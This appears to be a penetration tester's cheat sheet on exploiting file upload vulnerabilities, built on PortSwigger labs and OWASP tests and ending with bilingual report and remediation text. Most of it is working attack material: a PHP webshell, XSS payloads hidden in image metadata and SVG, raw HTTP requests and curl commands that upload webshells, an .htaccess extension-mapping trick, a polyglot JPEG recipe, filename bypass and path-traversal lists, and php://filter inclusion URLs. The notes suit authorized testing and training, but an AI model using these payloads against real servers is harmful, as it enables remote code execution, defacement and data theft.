File Upload

💡 See lab WebSecurityAcademy (PortSwigger) – File upload vulnerabilities.

OWASP Testing Guide:
WSTG-BUSL-08: Test Upload of Unexpected File Types
WSTG-BUSL-09: Test Upload of Malicious Files

Testing

Submit the “not approved” file for upload and verify that they are properly prevented from uploading

  • Check if the website only do file type check in client side JavaScript
  • Check if the website only check the file type by “Content-Type” in HTTP request.
  • Check if the website only check by the file extension.
  • Check if other uploaded files can be accessed directly by specified URL.
  • Check if the uploaded file can include code or script injection.
  • Check if there is any file path checking for uploaded files. Especially, hackers may compress files with specified path in ZIP so that the unzip files can be uploaded to intended path after uploading and unzip.

XSS in file upload

If you cannot upload a webshell, try uploading malicious client-side scripts. If you can upload HTML files or SVG images, you can potentially use <script> tags to create stored XSS payloads.

âť— NOT TESTED

Filename

If filename is included in the page, try injecting an XSS payload in the filename.

Metadata

exiftool -FIELD=XSS FILE
exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' whatever.jpeg

Content

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">

Source

GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;

Create a webshell

Depending on the language used by the web application, create a webshell file locally on your computer. See Web Shells.

webshell.php

<?php passthru($_REQUEST[c]); ?>

Webshell upload (no restrictions)

Uploading the webshell file without changing anything.

Uploading files using PUT

đź’ˇ You can try sending OPTIONS requests to different endpoints to test for any that advertise support for the PUT method.

Try using the PUT method for uploading malicious files, even when there is no upload function via the web interface. Also in HTTP Methods.

Try uploading a simple HTML file first. This should create a file: http://IP/test.html

PUT /test.html HTTP/1.1
Host: vulnerable-website.com
...
Content-Length: 12

<p>Test<p>

Try uploading a webshell. Use the appropriate webshell like “cat /usr/share/webshells/aspx/cmdasp.aspx”. NOTE: Burp will adjust the Content-Length value.

PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo file_get_contents('/path/to/file'); ?>

Using curl

đź’ˇ -T is the same as –upload-file. It uses the PUT method.

FILE=/usr/share/webshells/php/simple-backdoor.php
URL=https://example.com/vulnerabledir
curl --upload-file $FILE $URL/
curl -X PUT -d "<p>Test</p>" $URL/test.html
curl -X PUT -d "@${FILE}" $URL/file.php

Content-Type restriction bypass

Upload the webshell file. Change the Content-Type from “application/octet-stream” to the type expected by the web application (like “image/jpeg”):

Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: application/octet-stream
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: image/jpeg

Path traversal

Upload the webshell file. If the content is not executed (text is displayed instead), try a path traversal to write the file elsewhere. Use URL encoding to bypass restrictions on “/”.

Content-Disposition: form-data; name="avatar"; filename="..%2fwebshell.php"
Content-Type: application/octet-stream

Bypass via new extension (.htaccess/Apache)

This .htaccess file maps an arbitrary extension (.l33t) to the executable MIME type application/x-httpd-php. As the server uses the mod_php module, it knows how to handle this already.

Create a .htaccess file locally

AddType application/x-httpd-php .l33t

Upload the .htaccess file on the server

  • Change the value of the filename parameter to “.htaccess”.
  • Change the value of the Content-Type header to “text/plain”.
POST /upload HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXQ9bQMD0l3oFDfao
...

------WebKitFormBoundaryXQ9bQMD0l3oFDfao
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .l33t
------WebKitFormBoundaryXQ9bQMD0l3oFDfao--

Upload the webshell

Upload the webshell with the .l33t extension.

POST /upload HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqQBNC96c1YVuBBsI
...

------WebKitFormBoundaryqQBNC96c1YVuBBsI
Content-Disposition: form-data; name="avatar"; filename="webshell.l33t"
Content-Type: application/octet-stream

<?php passthru($_REQUEST[c]); ?>
------WebKitFormBoundaryqQBNC96c1YVuBBsI--

Bypass file content check via polyglot webshell

Instead of implicitly trusting the Content-Type specified in a request, more secure servers try to verify that the contents of the file actually match what is expected. Using special tools, such as ExifTool, it can be trivial to create a polyglot JPEG file containing malicious code within its metadata.

Download any image and insert a PHP webshell payload. Try uploading the file “webshell.php” in the web application.

wget -O webshell.jpg http://placekitten.com/100/100
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' webshell.jpg -o webshell.php

File extension restriction bypass

See explanations from PortSwigger.

đź’ˇ Try combining these techniques.

Multiple extensionsfilename=”webshell.php.jpg”
Multiple extensions & semicolonsfilename=”webshell.php;.jpg”
Multiple extensions & URL-encoded null byte characterfilename=”webshell.php%00.jpg”
Add trailing characters (whitespaces and dots)filename=”webshell.php.”
filename=”webshell.php “
filename=”webshell.php… … . . .. .. ” (VALIDATE THIS ONE)
URL encoding (or double URL encoding) for dots, forward slashes, and backward slashesfilename=”webshell%2Ephp”
filename=”..%2fwebshell.php”
Multibyte unicode charactersSequences like xC0 x2ExC4 xAE or xC0 xAE may be translated to x2E if the filename parsed as a UTF-8 string, but then converted to ASCII characters before being used in a path.
Based on the application stripping dangerous extensions, try obtaining a valid one.filename=”webshell.p.phphp”
Changing letters to capital form file.aSp or file.PHp3filename=”webshell.pHp”
Forbidden extensionsfilename=”file.asp:.jpg”
filename=”file.asp::$data”
filename=”test.cmd\”” (TO VALIDATE)
Server executable extensionsfilename=”file.php5″
filename=”file.shtml”
filename=”file.asa”
filename=”file.cert”

Data URLs / Data URIs

data:[<mime type>][;base64],<data>

Plain text

data:,Hello%2C%20World!
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==

# <h1>Hello, World!</h1>
data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E

# Javascript
data:text/html,<script>alert('hi');</script>

Other Examples

âť— This section requires some cleanup…

# PHP Filters: result in base 64, decode it with Burp Suite Decoder
url/?inc=php://filter/convert.base64-encode/resource=index.php
url/?inc=php://filter/convert.base64-encode/resource=config.php

Upload PDF file

POST ...
...
Content-Type: multipart/form-data; boundary=---------------------------1048576--
...

-----------------------------1048576
Content-Disposition: form-data; name="file"; filename="smallest.pdf"
Content-Type: application/pdf

%PDF-1.0
1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj 2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj 3 0 obj<</Type/Page/MediaBox[0 0 3 3]>>endobj
xref
0 4
0000000000 65535 f
0000000010 00000 n
0000000053 00000 n
0000000102 00000 n
trailer<</Size 4/Root 1 0 R>>
startxref
149
%EOF

-----------------------------1048576--

Reporting

CVSS Score v3Depends on what can be uploaded
CVSS Vector v3

English

TitleUpload file type restriction bypass
Description
Steps to reproduce
RemediationFrom PortSwigger:
– Check the file extension against a whitelist of permitted extensions rather than a blacklist of prohibited ones. It’s much easier to guess which extensions you might want to allow than it is to guess which ones an attacker might try to upload.
– Make sure the filename doesn’t contain any substrings that may be interpreted as a directory or a traversal sequence (../).
– Rename uploaded files to avoid collisions that may cause existing files to be overwritten.
– Do not upload files to the server’s permanent filesystem until they have been fully validated.
– As much as possible, use an established framework for preprocessing file uploads rather than attempting to write your own validation mechanisms.

French

TitleAjout de fichiers : contournement du filtre sur les types de fichier permis
DescriptionCVSS: 0.0
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:N/A:N&version=3.1

L’application permet de tĂ©lĂ©verser des fichiers. Un filtre restreint normalement les types de fichiers permis (pdf).
Il est possible de contourner ce filtre en interceptant la requĂŞte et en modifiant le “header” Content-Type. Le contenu du fichier n’est pas vĂ©rifiĂ© (exemple un fichier .pdf qui contient un script).
Cette attaque nĂ©cessite un compte dans l’application. Il n’a pas Ă©tĂ© possible de contrĂ´ler le nom du fichier enregistrĂ© sur le serveur.
Steps to reproduce
RemediationValider correctement le nom du fichier téléversé
Valider le “header” Content-Type
Valider le contenu du fichier